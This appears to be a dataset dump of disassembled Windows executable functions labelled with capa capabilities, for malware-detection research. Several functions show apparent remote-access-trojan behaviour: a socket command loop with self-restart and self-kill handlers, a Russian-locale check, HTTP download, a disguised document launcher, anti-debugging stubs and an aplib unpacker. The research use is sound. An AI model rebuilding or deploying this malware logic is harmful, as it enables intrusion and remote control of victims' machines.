joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004310
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x830
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rsp + 0x820], rax
mov rsi, rdx
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdx
xor r12d, r12d
mov dword [rsp + 0x30], r12d
lea r15, [0x14000cad8]
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 1]
lea rcx, str.Mozilla_5.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
xorps xmm0, xmm0
movups xmmword [0x14000cad8], xmm0
mov qword [0x14000cae8], r12
mov qword [0x14000caf0], 0xf
mov byte [0x14000cad8], r12b
mov dword [rsp + 0x30], 1
test rax, rax
je 0x14000449d
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400043c5
mov rdx, qword [rsi]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbp, rax
test rax, rax
je 0x14000449d
nop dword [rax]
lea r9, [rsp + 0x48]
mov r8d, 0x7d0
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [rsp + 0x48]
mov rcx, qword [0x14000cae8]
mov rdx, qword [0x14000caf0]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140004459
lea rax, [rcx + rdi]
mov qword [0x14000cae8], rax
mov rbx, r15
cmp rdx, 0x10
cmovae rbx, qword [0x14000cad8]
add rbx, rcx
mov r8d, edi
lea rdx, [rsp + 0x50]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x14000446e
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x50]
mov rdx, rdi
mov rcx, r15
call fcn.140004060
xor edx, edx
mov r8d, 0x7d0
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
cmp dword [rsp + 0x48], 0
jne 0x1400043f0
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1400044dd
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x1400044d8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000451b
mov rcx, r8
call fcn.1400060ac
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], send
mov byte [rsi], 0
mov rax, r15
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.140006050
lea r11, [rsp + 0x830]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140005060
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0xf8
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x74], xmm0
mov dword [r11 - 0x24], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
movups xmmword [r11 - 0x74], xmm0
mov dword [rsp + 0x20], eax
movups xmmword [r11 - 0x64], xmm0
movups xmmword [r11 - 0x54], xmm0
movups xmmword [r11 - 0x44], xmm0
movups xmmword [r11 - 0x34], xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140006050
add rsp, 0xf8
ret
Function at 0x140005900
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x48
lea rdx, str.Restart_requested:_Restarting_self
lea rcx, [rsp + 0x20]
call fcn.140002df0
mov rcx, qword [0x14000cab8]
mov r8d, 2
mov rdx, rax
call fcn.140005d70
lea rcx, [0x14000c050]
call fcn.140002d80
mov rcx, rax
xor edx, edx
call fcn.140005060
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140005950
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x48
lea rdx, str.Termination_requested:_Killing_self
lea rcx, [rsp + 0x20]
call fcn.140002df0
mov rcx, qword [0x14000cab8]
mov r8d, 2
mov rdx, rax
call fcn.140005d70
call fcn.1400020d0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140005c10
Capabilities:
Connect socket
Create thread
Terminate process

Disassembly:
push rbx
mov eax, 0x22a0
call fcn.140006ee0
sub rsp, rax
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rsp + 0x2290], rax
mov qword [0x14000cad0], r8
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ecx, 0x419
cmp ax, cx
je 0x140005c54
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004530
test al, al
je 0x140005c78
xor eax, eax
mov rcx, qword [rsp + 0x2290]
xor rcx, rsp
call fcn.140006050
add rsp, 0x22a0
pop rbx
ret
lea rcx, [rsp + 0x30]
call fcn.140001bd0
xor ebx, ebx
cmp byte [0x14000cac0], bl
jne 0x140005ce3
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x2280]
mov rcx, rax
mov qword [rsp + 0x2278], rax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140005ce3
mov qword [rsp + 0x28], rbx
lea r8, [0x140001b10]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov byte [0x14000cac0], 1
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005c84

Function at 0x140005cf0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rdi, rcx
mov dword [rsp + 0x20], edx
mov ecx, edx
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rsp + 0x20], eax
xor ebx, ebx
nop
mov rcx, qword [rdi + 0x2248]
lea rdx, [rsp + 0x20]
mov r8d, 4
movsxd rax, ebx
sub r8d, ebx
add rdx, rax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140005d54
add ebx, eax
cmp ebx, 4
jl 0x140005d20
mov al, 1
jmp 0x140005d56
xor al, al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140006050
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140005d70
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov r15, rcx
mov edx, r8d
call fcn.140005cf0
test al, al
jne 0x140005dcf
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140005dc8
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140005dc3
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005e93
mov rcx, r8
call fcn.1400060ac
xor al, al
jmp 0x140005e74
mov ebp, dword [rbx + 0x10]
mov rcx, r15
mov edx, ebp
call fcn.140005cf0
mov rcx, qword [rbx + 0x18]
test al, al
jne 0x140005df0
cmp rcx, 0x10
jb 0x140005dc8
lea rdx, [rcx + 1]
jmp 0x140005d9b
mov r14, rbx
cmp rcx, 0x10
jb 0x140005dfc
mov r14, qword [rbx]
xor edi, edi
test ebp, ebp
jle 0x140005e3f
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [r15 + 0x2248]
mov r8d, ebp
movsxd rdx, edi
sub r8d, edi
add rdx, r14
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140005d8e
add edi, eax
cmp edi, ebp
jl 0x140005e10
mov rcx, qword [rbx + 0x18]
cmp rcx, 0x10
jb 0x140005e72
lea rdx, [rcx + 1]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140005e6d
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005e93
mov rcx, r8
call fcn.1400060ac
mov al, 1
mov byte [rbx], 0
mov qword [rbx + 0x18], send
mov qword [rbx + 0x10], 0
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140005ea0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor edi, edi
mov r14, rdx
mov ebx, edi
mov rbp, rcx
nop word [rax + rax]
mov rcx, qword [rbp + 0x2248]
lea rdx, [rsp + 0x20]
mov r8d, 4
movsxd rax, ebx
sub r8d, ebx
add rdx, rax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140005ff4
add ebx, eax
cmp ebx, 4
jl 0x140005ed0
mov ecx, dword [rsp + 0x20]
mov qword [rsp + 0x60], rsi
call qword [sym.imp.WS2_32.dll_ntohl]
movsxd rcx, eax
inc rcx
mov dword [rsp + 0x20], eax
call fcn.14000625c
movsxd rcx, dword [rsp + 0x20]
mov rsi, rax
mov byte [rcx + rax], dil
mov ebx, dword [rsp + 0x20]
test ebx, ebx
jle 0x140005f67
nop word [rax + rax]
mov rcx, qword [rbp + 0x2248]
mov r8d, ebx
movsxd rdx, edi
sub r8d, edi
add rdx, rsi
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140005fb0
add edi, eax
cmp edi, ebx
jl 0x140005f40
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rsi + rbx], 0
jne 0x140005f70
mov rax, qword [r14 + 0x18]
cmp rbx, rax
ja 0x140005fda
mov rdi, r14
cmp rax, 0x10
jb 0x140005f8e
mov rdi, qword [r14]
mov r8, rbx
mov qword [r14 + 0x10], rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov rcx, rsi
mov byte [rdi + rbx], 0
call fcn.1400060ac
mov al, 1
jmp 0x140005fba
mov rcx, rsi
call fcn.1400060ac
xor al, al
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140006050
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop rdi
pop rbp
ret
mov r9, rsi
mov rdx, rbx
mov rcx, r14
call fcn.140003580
mov rcx, rsi
call fcn.1400060ac
mov al, 1
jmp 0x140005fba
xor al, al
jmp 0x140005fbf

Function at 0x140006ac8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006b12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006b12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006b12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006b12
cmp dword [rcx + 0x84], 0xe
jbe 0x140006b12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006b14
xor al, al
add rsp, 0x28
ret
Function at 0x1408e36a9
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea rsp, [rsp + 0x18]
jmp 0x14092b0d7
mov dword [r9], edx
not word [rsp + 3]
mov dword [rsp + 2], 0xafbdc283
lea rsp, [rsp + 8]
jmp 0x140902f3f
sub r9, 8
mov dword [r9 + 4], eax
push 0x34b15402
jmp 0x140907a91
call fcn.140924b4c
rdtsc
jmp 0x1409284de

Function at 0x1408e8cd9
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea rsp, [rsp + 0x28]
jmp 0x14092b0d7

Function at 0x140906f85
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea rsp, [rsp + 0x10]
jne 0x14092b0b0
call fcn.140925088
mov eax, 0x41a9313a
xor ax, 0x85a5
sal al, 0x26
mov rax, qword [rbp + rbx*8 + 0x20]
push 0x6089b324
setp byte [rsp + 5]
add word [rsp + 4], 0xdba8
mov qword [rsp], rax

Function at 0x14090c44d
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov qword [rsp], rdx
mov rdx, rax
push 0xffffffffd9aa64b4
lea rsp, [rsp + 0x10]
jmp 0x14092b0d7

Function at 0x1409277ec
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov qword [rsp + 8], 0x371dd283
jmp 0x1408f215b
Function at 0x140001070
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rbp
lea rbp, [rsp - 0x620]
sub rsp, 0x720
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rbp + 0x610], rax
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rcx, [rbp - 0x20]
xor edx, edx
mov dword [rbp - 0x2c], eax
mov r8d, 0x208
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rsp + 0x50], xmm0
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xor edx, edx
lea rcx, [rbp + 0x1f0]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x400]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp - 0x20]
mov edx, 0x104
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [rbp - 0x20]
mov edx, 0x104
lea rcx, [rbp + 0x400]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, str.Windows.Diagnostic.Document.endWindows.Diagnostic.Document.EXE
mov edx, 0x104
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.Document_
mov edx, 0x104
lea rcx, [rbp + 0x400]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x1f0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400011c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.140001010
jmp 0x140001205
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x400]
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea r8, str.Document
xor ecx, ecx
lea rdx, str.explore
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov rcx, qword [rbp + 0x610]
xor rcx, rsp
call fcn.140001230
add rsp, 0x720
pop rbp
ret

Function at 0x140001b04
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b4e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b4e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b4e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b4e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b4e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b50
xor al, al
add rsp, 0x28
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140614054
Capabilities:
Encode data using xor

Disassembly:
mov r8, qword [rbp + rcx*8 - 0x45a4e890]
pop rcx
push 0x382b38a1
mov ecx, dword [rsp + 3]
mov rcx, qword gs:[r8 + rcx - 0x38]
mov qword [rbp + riz], rcx
call fcn.140624f61
or r11b, r11b
mov r11d, dword [rbx]
mov edx, 0x8cb29706
sbb edx, edx
lea rbx, [rbx + rdx*2 + 4]
not dx
jle 0x140615781
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], bl
fadd dword [rdx - 0x7a177303]
mov dh, byte [rsi]
mov ecx, 0x89a0138c
mov esp, dword [rbx + rax + 0x1c]
out dx, eax
cli
xchg ebp, eax
sub al, 0xe8
lea ebp, [rdi]
jge 0x140614094
add byte [rax], al
add byte [rax], al
sbb bl, al
invalid
adc al, 0xb9
out 0x63, al
sub byte [rax + 0x59], dl
mov esi, 0x4845e60
xor dword [rdi + 0x1d], edx
xchg edx, eax
add dword [rax + 0x6a], edx
xor dword [rsp + rsi + 0x33a4a7f4], edx
sbb dword [0xcb7b7bcb], 0xffffffc5
cmp eax, 0x35c87e6d
loopne 0x1406140c5
clc
xor dl, byte [rdi + 0xe3ba952]
invalid
jno 0x140632cdd
add byte [rax], dh
invalid
Function at 0x140c76058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140c761df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140c76089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c7606f
add dl, dl
jne 0x140c76096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c760f6
xor eax, eax
add dl, dl
jne 0x140c760a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c761ad
add dl, dl
jne 0x140c760b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c760c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c760d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c760dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140c760ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140c7607e
mov eax, 1
add dl, dl
jne 0x140c76106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c76113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c760fb
sub eax, ebx
mov ebx, 1
jne 0x140c7614c
mov ecx, 1
add dl, dl
jne 0x140c7612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c7613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c76123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c7607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140c76168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c76175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c7615d
cmp eax, 0x7d00
jae 0x140c7619b
cmp eax, 0x500
jb 0x140c76196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c7607e
cmp eax, 0x7f
ja 0x140c7619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c7607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140c761d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140c7607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140004050
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400040c5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1400040c5
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x1400040b5
nop
cmp rbx, rcx
jae 0x1400040c5
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x1400040a0
cmp rbx, rcx
jae 0x1400040c5
cmp word [rbx], 0
je 0x1400040c5
mov rax, rbx
jmp 0x1400040c7
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140006d50
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14019cfa0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x48], 0xffffffffffffffff
xor edx, edx
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 8]
mov ecx, 0x64
div ecx
mov dword [rsp + 0x40], eax
jmp 0x140006d92
mov eax, dword [rsp + 0x40]
dec eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x140006e3f
mov rax, qword [rsp + 0x70]
mov rcx, rax
call fcn.140004640
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80120102
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x140006de6
jmp 0x140006e3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 2
jne 0x140006e15
call fcn.14000f860
movzx eax, al
cmp eax, 1
jne 0x140006e11
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140006e13
jmp 0x140006e3f
jmp 0x140006e3a
cmp dword [rsp + 0x50], 0xe7
jne 0x140006e3a
mov rax, qword [rsp + 0x70]
mov rcx, rax
call fcn.140004640
mov edx, 0x64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
jmp 0x140006d88
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x140006e7d
mov dword [rsp + 0x54], 2
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x54]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x140006e7d
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x48], 0xffffffffffffffff
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400dbfd0
add rsp, 0x68
ret
Function at 0x140007190
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rsi
mov rax, qword [0x14019cfa0]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rsi, rcx
xor edi, edi
cmp qword [0x1401ac6d0], rdi
jne 0x140007365
lea ecx, [rdi + 0x48]
call fcn.1400c7e60
mov rbx, rax
mov qword [rsp + 0x38], rax
test rax, rax
je 0x140007271
xor eax, eax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x20], rax
mov qword [rbx + 0x28], rax
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rax
mov qword [rbx + 0x40], rax
mov qword [rbx], rdi
call fcn.1400c82b4
mov rcx, rax
test rax, rax
je 0x14000738f
mov rax, qword [rax]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
add rax, 0x18
mov qword [rbx + 8], rax
call fcn.1400c82b4
mov rcx, rax
test rax, rax
je 0x14000739a
mov rax, qword [rax]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
add rax, 0x18
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x18], edi
mov dword [rbx + 0x1c], 1
mov dword [rbx + 0x20], 1
mov qword [rbx + 0x24], 0xa
mov qword [rbx + 0x30], rdi
mov qword [rbx + 0x38], rdi
mov qword [rbx + 0x40], 1
jmp 0x140007274
mov rbx, rdi
mov qword [0x1401ac6d0], rbx
lea rcx, [rbx + 0x10]
mov r8d, sendto
lea rdx, str.Reflect_Launcher
call fcn.140004960
mov qword [rbx + 0x38], rdi
mov rdx, rsi
mov rcx, rbx
call fcn.1400073b0
mov rdx, rsi
mov rcx, rbx
call fcn.1400076f0
cmp dword [rbx + 0x1c], 0
jne 0x1400072bb
cmp dword [rbx + 0x20], 0
je 0x14000733f
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
call fcn.1400c7e60
mov rsi, rax
test rax, rax
je 0x1400072ed
call fcn.1400c82b4
mov rcx, rax
test rax, rax
je 0x140007384
mov rax, qword [rax]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
add rax, 0x18
mov qword [rsi], rax
jmp 0x1400072f0
mov rsi, rdi
lea rdx, [rbx + 8]
mov rcx, rsi
call fcn.140004a90
mov eax, dword [rbx + 0x1c]
mov dword [rsi + 8], eax
mov eax, dword [rbx + 0x20]
mov dword [rsi + 0xc], eax
mov rax, qword [rbx + 0x38]
mov qword [rsi + 0x10], rax
mov dword [rsp + 0x38], edi
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
mov r9, rsi
lea r8, [0x140007c60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbx + 0x40], 0
je 0x140007351
mov rcx, rbx
call fcn.140007f20
mov esi, eax
jmp 0x140007354
mov esi, dword [rbx + 0x44]
test esi, esi
je 0x140007360
mov rcx, rbx
call fcn.1400080c0
mov qword [rbx], rdi
mov edi, esi
mov eax, edi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400dbfd0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov ecx, 0x80004005
call fcn.140004d90
nop
mov ecx, 0x80004005
call fcn.140004d90
nop
mov ecx, 0x80004005
call fcn.140004d90
int3